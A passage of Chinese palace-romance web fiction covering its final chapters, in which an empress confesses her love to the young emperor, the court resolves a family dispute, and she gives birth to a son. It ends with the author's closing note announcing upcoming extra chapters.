裴承珏没有起身,双臂揽住她的腰身,面容轻轻贴着她隆起的腹部。 高大雄健的躯体温驯地伏在她的脚下,收敛了强势的压迫力,贪恋地抱着她,依附于她。 “今日事与姐姐无关,是皇叔在迁怒姐姐。” 他抬起头,目光平视乔棠,眸子炽热。 乔棠深深凝视着他,透着他澄净的眸色,再度见到了他赤诚的心思。 “姐姐在朕身边,朕会越来越好。” “姐姐不能动摇,不能离开朕。” 风雨停了,晦暗天幕掀开了新的一角,泛出湛蓝色,光线透窗而下,映出乔棠怔然神色。 裴承珏确然荒唐过一阵,可他已然变好了。 裴泽一事也非他薄情寡义,是他作为一朝天子该做的正确决定。 她怎能因襄王错言动摇去爱裴承珏的心? 何况—— 她望着裴承珏俊美的面容,不由自主地在心底问自己,你还没爱上裴承珏么? 一刹那,过往一切如云雾浮过心头。 去年的悸动因恐惧消失了。 那今春的心跳加速、情动热潮呢! 不爱他,为什么会在春夜为他心动? 不爱他,又为什么在刚才为他心痛? 她质问自己的心,了解自己的心,终于拨开层层云雾,见到了一颗为裴承珏怦然而动的心脏。 她分明已经爱上裴承珏了。 乔棠控制不住地倾身过去,唇瓣落在裴承珏的眉心,温热触觉转瞬即逝,口中再想言,却不知如何说好了。 难道要自己直接说爱上他了? 半晌,她还在踟蹰,裴承珏感受着眉心一吻,蜻蜓点水似的,极快地消失了。 可又与先前的吻不太一样了。 他紧紧盯着乔棠,“姐姐吻朕时在想什么?” 第67章 灼灼目光逼得乔棠难为情地侧头,她将飘忽不 定的视线投到了窗外,最终搪塞一声。 “雨停了。” 裴承珏颔首,“朕知道。” 他笃定地认为乔棠还有别的话未言,静静地等着,乔棠抿紧唇瓣,迟迟不言。 他疑惑地直起上身,不止目光,连带身体也逼近乔棠。 “姐姐接着说。” 温驯不见了,取而代之的是压制。 乔棠被困在他的怀中,心虚地垂颈低首,耳垂红得滴血,唇瓣还抿得紧紧的。 寂然间,外面忽传来宫人禀报声,说是太后娘娘来了。 这雨停了不过一会儿,太后想必早在雨势大时就从皇宫出发了,冒雨匆匆到行宫,定是为了裴泽一事。 也不知太后于此事上是何看法,乔棠正思付着,裴承珏揽着她从榻上起了身。 她伸出发热的手,握住了裴承珏的大掌,还使力地握紧了,无论太后如何说,她都会支持裴承珏的决定。 裴承珏没有言语,带着她出去时若有所思,适才那眉心一吻,现在这握紧的手心,都像姐姐适才那双水意潋滟的眸子,正无声地透露出一种信息。 两人到了正殿,果见太后已在了,她先是看见了乔棠,问了乔棠近况,知晓乔棠及孩子一切安好,微微颔首。 “母后若是为裴泽而来,儿臣请母后不必开口了,此事刑部已有定论,朕圣旨也已下了。” 裴承珏负手立着,面容冰冷,不近人情地堵住了太后接下来的话。 太后叹了口气,“陛下既已有了决定,哀家不会插手,今日来也是为了看看皇后,不知皇后可愿意和哀家再说几句话?” 乔棠一听,微微颔首,见裴承珏面容还冷着,望向他的目光含着安抚,他也就不好阻止,点头同意了。 乔棠遂同太后出了正殿,此时薄暮已到,天幕光线暗淡,雨后清新气息扑鼻而来。 太后慢下步子,显然有话要讲,乔棠遂也慢下来,听到太后哀叹连连。 “襄王他是被先帝惯坏了,先帝在时总不许人说襄王的错,这才纵得襄王不敬律法,罔顾人命。” 乔棠深以为然。 朝堂后宫都以为裴泽性子不正,肆意妄为。 但细细去想,襄王此人面上温和,溺爱儿子,素日也是好脾气的模样。 可竟能纵得儿子生出狂心,横行京中,甚至当场打死别人。 事发后还要以先帝胁迫裴承珏,并在殿前当着众人怒骂裴承珏,桩桩件件都表明他骨子里被先帝惯坏了。 “裴泽今日能犯下大错,哀家以为襄王有错,先帝也有错,唯独陛下没有错。” 乔棠讶然地望向太后,太后也望了过来,又仓促地别过视线,掩盖眸中心疼。 她是不愿在乔棠展露一个母亲的伤心,自己儿子还未及冠,便做出了弑亲的举动,给了天下人一个公正的答案,但不代表儿子不会难过。 她知晓,这阖宫上下,乃至全天下,只有乔棠能抚慰他儿子的心了,她希望乔棠能让裴承珏忘却这份难过。 天幕暗下来了,已算入夜了,宫灯的光离得远了,两人笼在一片暗处。 乔棠没有言语,静静地立着,半晌她点了点头,低柔声音合着夜风,蕴着坚韧力量。 “陛下是我的夫君,无论陛下做了什么,我都会支持他。” 太后迟了好一会儿才笑道,“那哀家就放心了。”她并未多待,与乔棠言罢,心头放松,随即就离开行宫,连裴承珏也未再见。 乔棠回到正殿,将她的意思转述给裴承珏,裴承珏默了一下,牵起她的手去用晚膳。 膳罢,乔棠等了裴承珏一刻钟,但见裴承珏命宫人去备马车,又旋身过来抱起她,“姐姐同朕去襄王府一趟。” 白日里襄王磕头磕破了脑袋,又怒火攻心呕出鲜血,太医及时为他包扎伤口又开了方子,现今已由静仪郡主陪着回了襄王府养伤。 乔棠同裴承珏到了襄王府,府中众人惊惶迎接,迎两人到了花厅。 静仪郡主匆忙到了花厅,面颊泪痕还未干,见了乔棠,眼中又涌出热泪。 乔棠不忍地步过来,她刚要靠近,瞥见一侧的裴承珏,咬牙生生退了两步,跪地一拜。 “裴静仪见过陛下、见过皇后娘娘。” 乔棠伸出的手慢慢收了回来,侧头瞥向裴承珏,裴承珏唇角紧绷,半晌不语。 她眨了眨酸涩的双眼,上前两步俯身要扶起静仪郡主,静仪郡主纹丝不动,垂着颈子道,“父亲伤痛难忍,无法起床拜见陛下,还请陛下宽恕。” 她拂开乔棠的手,乔棠想要张口,喉头哽得厉害,无法言语下,俯下的身子忽被裴承珏轻轻扶直了。 她顺势握住裴承珏发凉的手,听裴承珏沉声道,“朕会叫太医过来服侍皇叔,还请皇叔安心养身体。” 静仪郡主没有说话,只有低低的哭泣声。 乔棠忍不住抚了抚她的脑袋,就被裴承珏牵着出了花厅。 裴承珏走得极稳,顾虑着她的身子,走得也很慢,她攥紧了裴承珏的手,上了马车也没有松开。 很快,裴承珏抱住了她,声音沙哑,“对不起,姐姐。” 姐姐这么喜欢裴静仪,裴静仪怨恨他,连带也怨上了姐姐。 乔棠心口如被钝刀来回割着,阵阵发疼,她止不住地摇头,无措之下,又仰头去亲裴承珏。 动作那么急切,咬破了裴承珏的唇,血珠涌出来,她仍不放过,莽撞地吻个不停,直吻得两人唇瓣沾染鲜血。 裴承珏一掌捂住她的面颊,呼着气阻止了她骤然的亲吻,但她没有像先前那样落泪了,她动了动唇,叫裴承珏松了手。 四目相对,乔棠忽地又抱紧了他,将脑袋埋在裴承珏颈侧,将喉咙里的哽咽咽下去,平复许久的情绪,才将嗓音变得温柔有力。 “陛下没有错,不能向我道歉。” 她的亲吻,她的拥抱,主动又急切,恨不得要融进裴承珏体内。 这本来是裴承珏会对她做出的冲动之举。 裴承珏很明白,他每每爱乔棠到无法抑制时,就会靠亲近乔棠缓解这种情思之苦。 现今乔棠和他做了一模一样的事情。 他的脑中乍然闪过一个叫他发狂的念头,还未言语,马车驶进街道,喧闹声传进马车。 乔棠松开他,掀开车帘叫停了马车,“陛下等我。”匆忙下了马车。 裴承珏呼了口气,当即起身跟上,一下车就将乔棠和孩子护得紧紧的,生恐行人碰了乔棠。 乔棠心里一暖,在明亮的夜间街道上走了一段路,终于瞧见了面具摊子,买了一个关公面具拿在手中。 裴承珏眸色一深,叫随从付钱,他牵着乔棠回了马车里,目光灼灼地盯着关公面具。 静谧空间里,乔棠端正身姿,容色一正,极为认真地将面具递到裴承珏面前。 “送给陛下。” 裴承珏面色比她还要肃正,接过后紧紧捏在手心,脑中那个念头越发强烈了,薄唇抿紧又松 开,额角更是生出薄汗。 车厢里慢慢升腾起焦灼的气氛,乔棠手指绞紧衣袖,望向裴承珏的视线飘忽着离开,又在一瞬挪回来,坚定地望向裴承珏。 “去年夏时我从行宫出去,瞒着陛下见了魏清砚一面。” 裴承珏心腔鼓动出的热切一凉,脑中那个念头狼狈得逃窜消失,他呼了口气,扬颈靠向车壁,手中把玩着关公面具。 “无妨的,朕不会再拘着姐姐了,姐姐想见魏清砚的话,现在就可以见。” “我不想见他。” 乔棠依然坐得端正,是极其重视的姿态,盈盈含情的眸子望着裴承珏。 裴承珏霍地坐直了身子,他向来是记吃不记打的,只要乔棠一示好,无论他适才有多失望,有多狼狈,他都可以抖擞精神,重新来过。 他急切的目光催促乔棠说下去,乔棠微微牵唇,清浅笑意让面颊美得出尘,他当即探身过来,吻住乔棠的唇。 唇齿间泄出一声,“姐姐。” 乔棠心动神摇,偏头躲过薄唇,接着道,“那次见魏清砚是要和他划清界限。” 裴承珏眸色一震,正欲开口,被她用指腹堵住唇角,她再道,“回去时我买了关公面具送给陛下。” 她呼了口气,一字一顿道,“骗陛下以为我心悦陛下。” 裴承珏一下握住了她的手指,攥得紧了,有些疼了,她不以为意,另一手抚着裴承珏俊美的笑容,笑起来,“今日我送关公面具给陛下。” “是为了告诉陛下一个不一样的结果。” 她抱上裴承珏,脑袋埋在他的颈侧,启开唇瓣道,“我现在很欢喜那天在街上捡了陛下的钱袋。” 静默一瞬,裴承珏没有想象中的狂喜,他像是明白了什么,忽轻轻推开她。 裴承珏想起太后来行宫的用意,目光疑惑地闪过乔棠面容。 “姐姐可是为了安慰朕才这样?” 安慰大概已是委婉之语了,他可能觉着自己会错了意,以为乔棠在哄骗他,好叫他忘却今日之事的神伤。 乔棠愕然地撤回身子,无声地垂下颈子。 一会儿觉着都是自己的错,先前欺骗裴承珏,眼下可好了,裴承珏不敢相信自己爱上他了。 一会儿又觉裴承珏脑子坏掉好久了,真是可气得很,她可是踌躇好久才表明心意的。 却不知,裴承珏见她垂头丧气的模样,以为自己猜中了,无奈地将她抱在怀里,掌心抚过隆起的腹部,轻轻地哄着。 “姐姐别担心朕。” “朕自继位,坐在这个位置上,就明白一个道理,圣明之君要该舍则舍,亲人也不例外。” 他的一道圣旨下来,自此没了堂兄,也让皇叔失了儿子,堂妹失了兄长,自此皇叔堂妹不再认他,怨他恨他,他都会受着。 乔棠听着他的话,心头五味陈杂,以他的意思,他连亲人也舍得下,怎么就舍不下自己呢? 她喃喃地问出了口,裴承珏良久才回答,声音有些委屈,有些沉闷。 “只有姐姐是个例外。” 顿时她的心腔控制不住地翻滚起阵阵爱意,转过身吻上裴承的眉心。 滚烫浓烈的爱意从眉心传到薄唇。 乔棠也好,太后也好,都在这一日决定做一件事。 裴承珏今日的痛楚神伤,应该被更为汹涌澎湃的爱覆盖。 乔棠移开唇瓣,两人额头相抵,急促呼吸交融在一起。 裴承珏听到乔棠的柔声低语,“陛下脑子坏掉了,感知不到我对陛下的……” 未竟之语尽数被堵回口中。 裴承珏终于反应过来了,意识到自己得到了什么,怀抱骤然升温,摁住她的后颈狠狠吻了回去,唇瓣相贴中泄出颤声。 “没坏。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 【正文完结】 第68章 遥不可及的明月坠入怀中。 爱意缱绻。 吻也变得温柔小心。 裴承珏无法言喻这种灵魂深处的颤粟,纵容着勃发的欢愉流窜四肢百骸,激起最直接的身体反应。 可乔棠的呜咽制止了他的躁动,他不舍地松了乔棠,拉住乔棠的手放在唇上吻了吻,又将手摁在心脏处,眸中浓郁欲色掺着无辜。 “它跳得太厉害了。” 心腔跃动,似要奋力挣出胸膛,好叫乔棠瞧瞧,这一颗盛满她的心是什么模样。 乔棠不爱他时,他很狼狈,乔棠爱上他了,他竟也很狼狈。 大抵上他在乔棠面前,是没有什么颜面可言的。 他也愿意放下这些没用的东西,握紧乔棠的手,倾身靠近乔棠,可怜地、委屈地望着他的妻子。 “怎么办,姐姐?” 乔棠也没有比他好到哪里去。 毕竟这不像以前,只是裴承珏一个人的情动,这是双方两情相悦下的躁动。 乔棠抿紧唇瓣,额角沁出细汗,打湿了眼睫,水淋淋的眸子撩了裴承珏一眼。 裴承珏的眸色不加掩饰。 乔棠眨了眨湿漉漉的眼睫,伸手再次抱住他,脑袋搁在他的颈侧。 “抱着会好些么?” 半晌,车厢里响起裴承珏沙哑的笑声,“谢谢姐姐。” 其实更糟糕了。 乔棠不知,抱了他一路,他熬了一路,及至回了行宫寝殿,他抱着乔棠就寝。 夏夜月色好,流水一样泄进来,映在锦帐金线上,泛出点点光华。 裴承珏极尽温柔。 乔棠心中涌起难以抵挡的欢愉,控制不住地喊了许多声夫君,一声比一声急。 到了最后,喊不出来了,沉沉睡去。 睡至半夜,她慢吞吞睁开眸子,身侧空荡荡一片,眸色一下清醒,穿衣下床去了。 步出寝殿,到了廊下,借着宫灯明亮的光线,果见裴承珏披衣坐在阶上,正低头思索着什么。 乔棠顿步,静静地看着他的背影。 他察觉到了,回头那一瞬紧簇眉峰舒展,转过身子伸开双臂,笑道,“姐姐过来。” 乔棠步过去,被他抱在怀中,他拿脑袋蹭了蹭乔棠的面颊,乔棠由着他去了。 两人耳鬓厮磨了一会儿,乔棠温柔地抚了抚他的面颊,“陛下先前说要为魏清砚治好手伤,眼下魏清砚的手已快好了,陛下做到了。” “陛下这阵子勤于政事,未曾懈怠,做得也很好,朝中大人们都寻不出错处。” 乔棠在裴承珏静静的注视下,吻在他的面颊上,低低言语,“还有,陛下处处为我思虑,照顾我,疼惜我。” 她低眉,红透的面颊在莹白月光下美得惊人。 “是天底下最好的夫君。” 廊下骤然响起裴承珏的笑声,他抱起乔棠,起身大步离去,怀中的乔棠不禁莞尔。 行宫的日子过得很快。 暑热消散,初秋来临时,乔棠肚子大了起来,裴承珏带她回了皇宫好生养着。 女医们都候在太极宫随时侍奉乔棠,太后也是日日过来关心她,加上乔家亲眷时时进宫过来陪她,她的日子过得热闹有趣。 这一日,太后照常过来看她,她思及斟酌了许久的事情,先与太后提了襄王爷境况。 “襄王爷他久卧病榻,陛下口中不提,心里是牵挂着的。” 太后听罢叹气,心思一动,双目望过来。 乔棠低眉,掌心抚过肚子,“要是襄王爷还有个念想,大约会好很多。” 太后眼中一亮,双手拉过她的手轻轻拍了拍,思付半晌,心底下了决定。 “多亏皇后提醒了哀家,说起来这皇室子嗣中也能挑个合适的男孩过继给襄王爷。” 乔棠道,“此事还得襄王爷同意。” “明日哀家叫静仪进宫,让静仪劝劝他。” 太后明白,乔棠是为了裴承珏才出了这么一个主意,心中又是欣慰,又有些庆幸。 乔棠不像她,一辈子心中空空,裴承珏也不像先帝无情,这两人幸亏没有错过,好好在一起了。 太后放心地将裴承珏交给乔棠,她也不会再让乔棠为难,更不会拿乔棠这份好心做成坏事。 “皇后且放心,哀家挑孩子,必选那合适的、心甘情愿的,绝不会硬夺了孩子给襄王。” 乔棠原有这个顾虑,一听太后这保证,玉颊露出一个浅笑,“母后宅心仁厚。” 她生得本就美,又在孕期,裴承珏时刻顾着她,又命宫人女医好生侍奉,加上太后也看得紧,一时间阖宫的心都在她身上。 她被照顾得太好了,浑身都 舒服熨帖,便是坐在那里不动,浑身都散发着烨然光彩。 宫人私下议论,都说皇后连根头发丝都泛着美丽的光泽,莫说陛下喜欢,她们见了也是喜欢。 眼下太后被她的笑容晃了一下,心里一叹,便是她再见过许多美人,也不得不承认她这个儿媳的容貌过于出众了,怪不得儿子痴迷。 她突然间理解了儿子,笑着对乔棠道,“待事情差不多了,我们再告知陛下。” 乔棠颔首,忽见她端正神色,极为认真道,“陛下及冠礼快到了,还请皇后务必为陛下备好生辰礼。” 乔棠不知晓去年太后拿这事戳到了裴承珏的心肺,见太后连声嘱咐,只好应下。 当日裴承珏回来,身后跟着捧画像的宫人们,乔棠诧异,正欲打开画像瞧一瞧,裴承珏拉过她的手揽着她去一边了。 “姐姐慌什么,那是堂妹们未来的夫君。” 听着他不满的声音,乔棠方明白过来,原来他还记着那个不准看其他男人的许诺呢。 宫人们退下了,裴承珏抱着她坐在椅子上,“明日叫堂妹们过来看看。” 他忙于朝务,还记挂着乔棠家眷,好为乔棠扶起一个母族,乔棠怎会不感动? “陛下不必为我劳心至此,堂妹们包括其他人的事交由我来做就好。” 她心疼地看着裴承珏面上倦色,“陛下先前教我的宫务处理,我也已明白了,若有不懂之处,我会去问母后,陛下只管专心朝务。” 裴承珏笑起来,乔棠凝视着他的笑容,微微失神,他笑起来可真好看。 直到裴承珏吻她,她才回神,听裴承珏笑道,“朕知道了,姐姐心疼朕。” 她想反驳,忽闭紧嘴巴,这也没得反驳了,说了那么一通,到头来也就一句话,她确实心疼裴承珏。 她索性承认了,目光直视裴承珏,“陛下与我夫妻一体,往后我在后宫,断不会叫陛下操心宫闱。” 坚定神色叫裴承珏心旌神摇,好半晌,他都没能移开目光,觉着这样的姐姐也别有风采。 乔棠被他看得受不了,偏开脸颊。 “陛下总姐姐姐姐地喊我,我总归长陛下两岁,要比陛下成熟才对,哪里能让陛下一直操心我?” “夫妻间相互扶持才是正理,陛下且放心,我会做好的。” 裴承珏听得认真,眸中漾着笑意,那手指钳住乔棠下巴,叫她面对自己,意味深长地笑了笑,有些不怀好意。 乔棠只觉他又有了坏心思,果见他将自己拉进怀中,附耳低语,“那姐姐今夜可要好好照顾照顾弟弟。” 乔棠面颊一下红了,一把推开他,羞恼道,“请陛下说正事!” “明日我会叫堂妹们过来,再叫柳彰过来,将此事交予柳彰,陛下莫要操心了。” 裴承珏笑着应下。 翌日,堂妹们过来,羞着脸颊将画像看完。 裴承珏亲自选的人,家世长相人品都是过关了的,堂妹们挑不出一点错来,各自选一个钟意的。 乔棠又见了柳彰,将此事交给柳彰办,柳彰做事稳重又有耐心,“请娘娘安心,臣会处理好的。” 乔棠放心下来。 柳彰出了皇宫,回都察院见魏清砚,将事情一一说了。 魏清砚微微颔首,“陛下为娘娘谋划事情向来思虑周全。” 已是下值时刻,两人步出都察院,慢慢地走在宫道上。 余晖中响起魏清砚的声音,“娘娘如何?” 柳彰的回答迟了一会儿。 “甚好。” 缓了会儿,两人各自笑了笑。 隔了两日,柳彰已将事情办妥,堂妹们的婚事定了,太后也挑了一个合适的男孩,静仪郡主说服了襄王爷接受了那个孩子。 事情妥了,太后才与裴承珏提,裴承珏默然片刻,微微颔首,“皇叔是需要有个孩子陪着。” 太后笑道,“是皇后的主意,陛下应该不会辜负皇后的心意吧。” 裴承珏不语,太后离去后,他当即出了勤政殿回太极宫,将乔棠牢牢地抱在怀里。 鼻尖嗅着乔棠的气息,他紊乱的心跳才安定下来,乔棠握了握他的手,将他的手放在自己腹部上。 “陛下的及冠礼物,陛下会觉着迟了么?” 裴承珏摇头,薄唇吻着她的侧颊,炽热气息包裹住了乔棠。 又过一阵,裴承珏至二十岁。 这一日,朝中群臣官衣连绵,依照礼节前往奉天殿,无人敢言,可又眼风四动。 大都在感慨,天子总算及冠成年了,虽说没能过了美人关,但和去年那荒唐行径比起来,今时真是睿智果决,再圣明不过了。 乔棠与太后俱在。 乔棠望着接受冠礼的裴承珏,男人朝服威仪,面容俊美,一举一动透着成熟稳重。 乔棠眸中浮出笑意,忽思及去年春时那个带着关公面具的少年。 她拿着钱袋点了点那少年时,怎么都不会想到两人还有这样的缘分。 礼毕,裴承珏朝乔棠伸手,面上带着安抚的笑意,乔棠将手搭上去,被他牵着下阶。 太后目送两人,群臣伏地跪拜,两人步到殿门中间,秋阳落下的亮光映出两人并肩而立的身影。 慢慢地,裴承珏朝乔棠倾斜过去,众目睽睽之下吻了吻乔棠的面颊,笑着喊。 “姐姐。” 没有遮掩的声音传进殿中,太后摇头笑了笑,朝臣低着头颅,心道这辈子陛下是过不了了美人关了。 乔棠已对他的胡闹无动于衷,只是闻得这声姐姐有些无奈,也在众目睽睽下靠近他,“不知陛下这声姐姐要喊到什么时候?” 裴承珏朗声一笑,牵紧了她的手。 乔棠临近生产时,裴承珏日日不得眠,执意休朝守着她,见她恼怒生气,只好按时上朝去。 但朝会一结束,他就回太极宫,乔棠问他朝务如何,他笑道,“已交内阁处理了,姐姐放心,误不了事。” 乔棠也不舍得他担忧自己,由着他去了,他一连守了几日。 直到乔棠生产那日,他听着乔棠的喊声,仿佛心被挖走了一块,他怎么能让姐姐这么疼? 乔棠顺利诞下一子。 阖宫的人都在欢庆皇子的出世,太后望着襁褓中的皇孙笑得满足,转头去叫裴承珏抱孩子,身侧已空无一人。 王嬷嬷在床边立着,眼睛红红的,她家姑娘生了皇子是天大的喜事,可也遭了一回罪,好在陛下是心疼她家姑娘的。 裴承珏坐在床边,俯身用手指抚了抚乔棠汗湿的长发,指腹又扫了扫乔棠因累极阖住的眼睫,不敢出声地守着。 守了一会儿,他不安心地出去叫了一群太医过来,同他一起守着,“皇后太累了。” 太医们低头不敢言语,心道女子生孩子向来如此,皇后已是极为顺畅的了。 可裴承珏仍不安得很,唇角垂着,面容阴郁得很。 太后心惊,生恐他痴言疯态复发,忙地在旁安抚。 “皇后身子向来康健,睡一觉便会醒了,到时陛下就能和皇后说话了。” 好半晌,所有人都听他沉声道,“朕要拟旨,此子是朕与皇后的太子。” 众人大惊,他才二十就立太子,他甚至还没见孩子长什么模样,这…… 众人去望太后,指望太后能劝一声,太后只求他不要发痴,立太子就立太子吧,“一切都听陛下的。” 裴承珏拟了圣旨,吩咐下去,“昭告天下。” 众人屏气凝神,忽听他懊悔地低低道,“朕不会再叫皇后生孩子了。” 他扔了笔,疾步进了产房,留下呆滞的众人。 便是太后也怔然许久,半晌,双眼朦胧,她的儿子真的很好啊。 乔棠睡了一觉,睁开眼时,正对上裴承珏担忧的视线,张了张口想说话,被裴承珏俯身抱住了,“朕对不起姐姐,叫姐姐这么疼。” 乔棠牵起唇角笑了笑,静静地让他抱了会儿,又过了会儿,不见他起身,好奇地问道,“孩子像我还是像陛下?” “像姐姐。” 裴承闷声道,他这纯属胡诌了,他都没见孩子什么模样呢。 乔棠不知道,笑道,“抱来我看看。” 裴承珏不愿离开,叫王嬷嬷抱孩子过来,他接了抱在怀里,屈膝跪在床边给乔棠瞧了瞧。 王嬷嬷的声音传来,“太后说像陛下呢!” 裴承珏嘴角一僵,乔棠细细地看了看,她其实也看不出来什么,但太后说像那就是像了。 只有裴承珏摇头,“朕瞧着像姐姐。” “胡说。” 乔棠要是有力气,指定起身拍他,“陛下又没见过我出生时的模样。” 裴承珏不语,叫王嬷嬷抱走孩子,深深地凝视着她,慢慢地,狼狈地偏过头。 乔棠拿手指点了点他的脑袋,他才肯转过头,睁着泛红的眸子。 都成年还这样。 乔棠见了心口一疼,抱住他,“我又无事,倘若叫旁人见了,岂不是叫人家笑话陛下?” 裴承珏不语。 寂然房中,两人静静地拥抱,时间如凝滞一样,让这两人再也不分开—— 作者有话说:正文完结,谢谢宝们的支持,宝们在本章留言发红包。 明日(周五)休息一天,周六发番外,再次感谢支持!魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m